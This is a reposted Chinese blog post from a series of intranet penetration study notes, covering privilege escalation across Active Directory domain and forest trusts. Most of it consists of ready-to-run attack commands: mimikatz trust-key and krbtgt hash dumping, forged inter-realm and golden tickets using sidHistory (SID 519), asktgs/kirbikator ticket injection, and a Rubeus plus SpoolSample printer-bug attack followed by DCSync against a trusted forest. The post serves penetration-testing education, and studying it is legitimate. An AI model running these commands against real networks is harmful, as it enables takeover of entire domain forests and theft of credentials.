美文网首页内网学习笔记
【内网学习笔记】30、跨域安全(完结)

【内网学习笔记】30、跨域安全(完结)

作者: TeamsSix | 来源:发表于2021-10-22 14:39 被阅读0次

0、前言

常见的跨域攻击方法有以下几种:

i、利用常规的渗透方法,比如 Web 漏洞

ii、利用已知散列值进行哈希传递或票据传递,因为有可能域内的密码是通用的

iii、利用域信任关系

这里主要看第三种:域信任关系

当有多个域时,不同的域之间想进行资源共享,就需要用到域信任,只有当域之间互相信任后,才能进行资源共享。

域信任关系可分为单向信任和双向信任。单向信任即 A 信任 B,但 B 不信任 A,双向信任同理。在创建子域时,系统会在新的子域和父域之间自动创建双向可传递信任关系。

域信任关系又可分为内部信任和外部信任。内部信任是指在同一个林中域之间的信任关系,这种信任关系是可传递的;外部信任指不同林之间域的信任关系,这种信任关系要视林间信任类型来判断是不是可传递。

在 Windows 操作系统中,只有 Domain Admins 组中的用户可以管理域信任关系;Enterprise Admins 组(仅出现在林的根域中)的成员对林中所有域拥有完全控制权限,默认情况下,该组包含林中所有域控上具有 administrators 权限的成员。

1、获取域信息

这里使用工具 lg 进行域内信息的收集,lg 是一款用 C++ 编写的用于管理本地用户组和域本地用户组的命令行工具,可用它来收集远程主机用户和组的信息。

枚举 teamssix 域中的用户组

lg.exe teamssix\.

枚举远程计算机的用户组,如果提示拒绝访问,说明没有信任关系

lg.exe \\dc

枚举远程计算机的用户名

lg.exe \\dc -lu

枚举远程系统中全部用户的 SID

lg.exe \\dc -lu -sidsout

枚举远程系统指定组中的所有成员的 SID

lg.exe \\dc\administrators -lu -sidsout

2、利用域信任密钥获取目标域权限

这里环境信息为:

父域的域控:dc.teamssix.com

子域的域控:subdc.sub.teamssix.com

子域内的计算机:user4.sub.teamssix.com

子域内的普通用户:user4

在子域的域控中使用 mimikatz 获取需要的信息

mimikatz.exe privilege::debug "lsadump::lsa /patch /user:administrator" "lsadump::trust /patch" exit

得到当前域的 SID 、父域的 SID 和子域域管 NTLM 哈希后,在子域的普通用户机器上利用 mimikatz 制作信任票据

这里的 sids 是父域的 sid,sids 后的 519 表示创建的用户属于父域的管理员组

mimikatz.exe "kerberos::golden /domain:sub.teamssix.com /sid:S-1-5-21-1655164184-1934932396-2547489287 /sids:S-1-5-21-2230503874-1187844892-774991719-519 /rc4:5bfd59b5e1f78a794f714af07eac869f /user:administrator /service:krbtgt /target:teamssix.com /ticket:subdc_administrator.kirbi" exit

利用刚刚制作的信任票据获取目标域中目标服务的 TGS 并保存到文件中

asktgs subdc_administrator.kirbi cifs/dc.teamssix.com

将获取的 TGS 票据注入到内存中

kirbikator lsa cifs.dc.teamssix.com.kirbi

使用 dir 访问目标域控

dir \\dc.teamssix.com\c$
image

3、利用 krbtgt 散列值获取目标域的权限

如果攻击者获取了林内任意域的 krbtgt 散列值,就可以使用 sidHistory 获得该林的完整权限。

首先获取当前子域和父域的 SID 值,可以使用以下工具或命令

wmic useraccount get caption,sid
whoami /user
adfind.exe -sc u:user4 | findstr Sid
Get-DomainSID sub.teamssix.com  # PowerView 里的命令

接下来获取子域的 krbtgt 的哈希值,使用 mimikatz 即可

mimikatz privilege::debug "lsadump::lsa /patch /user:krbtgt" sekurlsa::krbtgt exit

在子域普通用户权限的计算机中构造黄金票据

mimikatz "Kerberos::golden /user:Administrator /domain:sub.teamssix.com /sid:S-1-5-21-1655164184-1934932396-2547489287 /sids:S-1-5-21-2230503874-1187844892-774991719-519 /krbtgt:b53a5c7c51648f033b96971e7ae4ee45 /ptt" exit
image

4、利用无约束委派和 MS-RPRN 获取信任林权限

如果已经获取了域林中某个域控权限,或者配置了无约束委派的任何服务器的权限,那么就可以使用 MS RPRN 的 RpcRemoteFindPrinterChangeNotification(Ex) 方法,使信任林的域控制器向已被控制的服务器发送身份认证请求,利用捕获的票据获取信任林内任意用户的哈希值。

假设这里获取了 teamssix.com 域的域控权限,且 0day.org 与 teamssix.com 域有林信任关系

首先在 teamssix.com 的域控上监听身份认证请求

rubeus.exe monitor /interval:5 /filteruser:OWA2010SP3$
interval: 用于设置监控的时间间隔
filteruser: 用于指定需要关注的主机,这里的 OWA2010SP3 是 0day.org 域控的主机名

开启监听后,使用 SpoolSample 工具让 OWA2010SP3.0day.org 向 dc.teamssix.com 发送身份认证请求

SpoolSample.exe OWA2010SP3.0day.org dc.teamssix.com

获得票据后,使用 rubeus 将票据注入内存

rubeus.exe ptt /ticket:<TGT 票据>

使用 mimikatz 获取目标的 krbtgt 散列值

mimikatz.exe "lsadump::dcsync /domain:0day.org /user:0day\krbtgt" exit

接下来,构造黄金票据并将其注入内存,就能够获得 0day.org 域控的权限了

mimikatz "Kerberos::golden /user:Administrator /domain:0day.org /sid:5-1-5-21-1812920812-2335051732-3517558806 /rc4:b53a5c8c51648f053b96971e7ae4ee25 /ptt" exit

参考文章:

https://blog.csdn.net/qq_34640691/article/details/111881910

原文链接:

https://teamssix.com/211022-122217.html

相关文章

  • 【内网学习笔记】30、跨域安全(完结)

    0、前言 常见的跨域攻击方法有以下几种: i、利用常规的渗透方法,比如 Web 漏洞 ii、利用已知散列值进行哈希...

  • 跨域浏览器如何配置?

    START 由于近期维护内网项目,本地开发,总会遇到跨域问题,导致本地无法进行开发。 所以此处记录一下,跨域浏览器...

  • 跨域学习笔记

    前言: 当一个资源,向与之所在服务器不同的域或端口请求另一个资源时,这个HTTP请求,我们认为是跨域的请求。出于安...

  • 通过script标签实现跨域

    跨域 什么是跨域? 跨域问题是由于javascript语言安全限制中的同源策略造成的。同源策略是由Netscape...

  • 跨域的概念

    1.跨域问题 什么是跨域? JavaScript出于安全方面的考虑,不允许跨域调用其他页面的对象。(同源策略,浏览...

  • API-Server构建指南(4)-跨域

    跨域的前世今生系列。核心: 跨域是浏览器的安全策略跨域的具体规则 可参考https://blog.csdn.net...

  • 如何解决跨域问题?

    理解跨域的概念:协议、域名、端口都相同才同域,否则都是跨域 出于安全考虑,服务器不允许ajax跨域获取数据,但是可...

  • 简述json和jsonp的区别

    1. 先说一下跨域的概念: JavaScript出于安全方面的考虑,不允许跨域调用其他页面的对象。 跨域请求概念 ...

  • vue2.x中的跨域

    一、什么是跨域 url的组成 JavaScript出于安全方面的考虑,不允许跨域调用其他页面的对象。那什么是跨域呢...

  • 2019-01-16

    一、什么是跨域 url的组成 JavaScript出于安全方面的考虑,不允许跨域调用其他页面的对象。那什么是跨域呢...

网友评论

    本文标题:【内网学习笔记】30、跨域安全(完结)

    本文链接:https://www.haomeiwen.com/subject/ubocaltx.html